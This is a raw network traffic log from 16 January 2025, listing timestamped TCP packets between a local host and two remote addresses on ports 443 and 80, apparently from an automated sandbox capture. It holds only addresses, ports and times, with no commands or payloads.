Jan 16, 2025 17:20:22.616213083 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.616255045 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.616270065 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.616317987 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.616322994 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.616430044 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.617288113 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.617304087 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.617357969 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.617362976 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.617403030 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.618123055 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.618139029 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.618208885 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.618223906 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.618273973 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.668776989 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.668867111 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.673952103 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.673983097 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.674245119 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.674324036 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.674503088 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.696362972 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.696439028 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.699599981 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.699611902 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.699875116 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.699879885 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.699908972 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.699995995 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701118946 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701143026 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701184034 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701190948 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701208115 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701239109 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701277971 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701550961 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701567888 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701626062 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701638937 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701658010 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701677084 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701704025 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701711893 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.701734066 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.701751947 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.702508926 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.702529907 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.702580929 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.702624083 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.702626944 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.702655077 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.702681065 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.702713013 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.703500032 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.703522921 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.703589916 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.703600883 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.703701973 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.715337038 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.739934921 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.740073919 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.740498066 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.740587950 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.740658045 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.742347002 CET	49747	443	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.742372990 CET	443	49747	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.777287006 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.777312994 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.777328014 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.777360916 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.777396917 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.777415037 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.777461052 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.789891005 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.789922953 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.789980888 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.789994955 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790009975 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790030003 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790047884 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790091991 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790098906 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790177107 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790326118 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790343046 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790374041 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790379047 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790401936 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790412903 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790822983 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790839911 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790879011 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790884972 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.790925980 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790950060 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.790999889 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791018009 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791079044 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.791083097 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791094065 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791109085 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791148901 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.791157007 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791169882 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.791192055 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.791943073 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.791965008 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.792028904 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.792040110 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.792073965 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.792092085 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.863817930 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.863846064 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.863986969 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.864011049 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.864063978 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.865875006 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.865891933 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.865987062 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.865995884 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.866038084 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.873552084 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.873596907 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.873648882 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.873665094 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.873677015 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.873697996 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.873713970 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.873754025 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.873759985 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.873819113 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.874097109 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.874114037 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.874159098 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.874165058 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.874187946 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.874212980 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.874427080 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.874442101 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.874474049 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.874480009 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.874511003 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.874541998 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.876528025 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.877084017 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.878259897 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.878288031 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.878357887 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.878369093 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.878407001 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.878675938 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.878691912 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.878752947 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.878758907 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.878832102 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.879009008 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.879025936 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.879070044 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.879076004 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.879100084 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.879115105 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.879275084 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.879292011 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.879342079 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.879347086 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.879439116 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.881346941 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.881416082 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.881623983 CET	49754	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.881899118 CET	80	49755	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.881961107 CET	49755	80	192.168.2.6	66.63.187.216
Jan 16, 2025 17:20:22.886395931 CET	80	49754	66.63.187.216	192.168.2.6
Jan 16, 2025 17:20:22.898139000 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.898166895 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.898318052 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.898328066 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.898514986 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.898578882 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.924262047 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.924285889 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.924352884 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.924352884 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.924367905 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.925529957 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.925591946 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.925591946 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.925606012 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.925831079 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.929095984 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.929152966 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.950021029 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.950047970 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.950123072 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.950167894 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.950212955 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.951188087 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.951203108 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.951270103 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.951287985 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.951330900 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.952944994 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.952964067 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.953042984 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.953058958 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.953144073 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960278034 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960311890 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960401058 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960433006 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960445881 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960465908 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960467100 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960474968 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960491896 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960549116 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960549116 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960796118 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960813999 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960931063 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.960938931 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.960982084 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961004972 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961019993 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961333990 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961375952 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961385012 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961385012 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961395979 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961438894 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961438894 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961549997 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961566925 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961760044 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961767912 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961792946 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961811066 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961831093 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961831093 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961837053 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.961905003 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.961905956 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.962131977 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.962147951 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.962328911 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.962336063 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.962755919 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.963202000 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.997997046 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.998023033 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.998064041 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.998075962 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.998111963 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.998131037 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:22.998147011 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:22.998172998 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.017416954 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.017641068 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.017656088 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.017751932 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.018217087 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.018306971 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.018311977 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.018508911 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.019054890 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.019098997 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.019135952 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.019141912 CET	443	49750	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.019174099 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.019187927 CET	49750	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.042042017 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.042068005 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.042112112 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.042130947 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.042172909 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.042185068 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.044612885 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.044655085 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.044702053 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.044727087 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.044751883 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.044765949 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.045386076 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.045403004 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.045480013 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.045494080 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.045528889 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.045800924 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.045814991 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.045852900 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.045862913 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.045886993 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.045903921 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.046468019 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.046482086 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.046535969 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.046549082 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.046585083 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.047354937 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.047369957 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.047427893 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.047446966 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.047499895 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.048187971 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.048207998 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.048274040 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.048284054 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.048321962 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.055604935 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.055636883 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.055742979 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.055753946 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.055753946 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.055764914 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.055814981 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.055838108 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.055846930 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.055885077 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.055885077 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.055896044 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.056065083 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.056910038 CET	49748	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.056925058 CET	443	49748	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.082127094 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.082154036 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.082220078 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.082268000 CET	443	49749	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.082284927 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.082542896 CET	49749	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.083939075 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.083966017 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.084032059 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.084042072 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.084078074 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.084105968 CET	49751	443	192.168.2.6	150.171.28.10
Jan 16, 2025 17:20:23.085148096 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.085166931 CET	443	49751	150.171.28.10	192.168.2.6
Jan 16, 2025 17:20:23.085205078 CET	49751	443	192.168.2.6	150.171.28.10
